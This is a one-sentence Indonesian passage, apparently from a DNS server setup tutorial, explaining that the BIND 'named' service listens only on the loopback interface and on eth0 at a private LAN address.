Sehingga named hanya membuka port pada interface loopback (127.0.0.1) dan eth0 (192.168.1.100).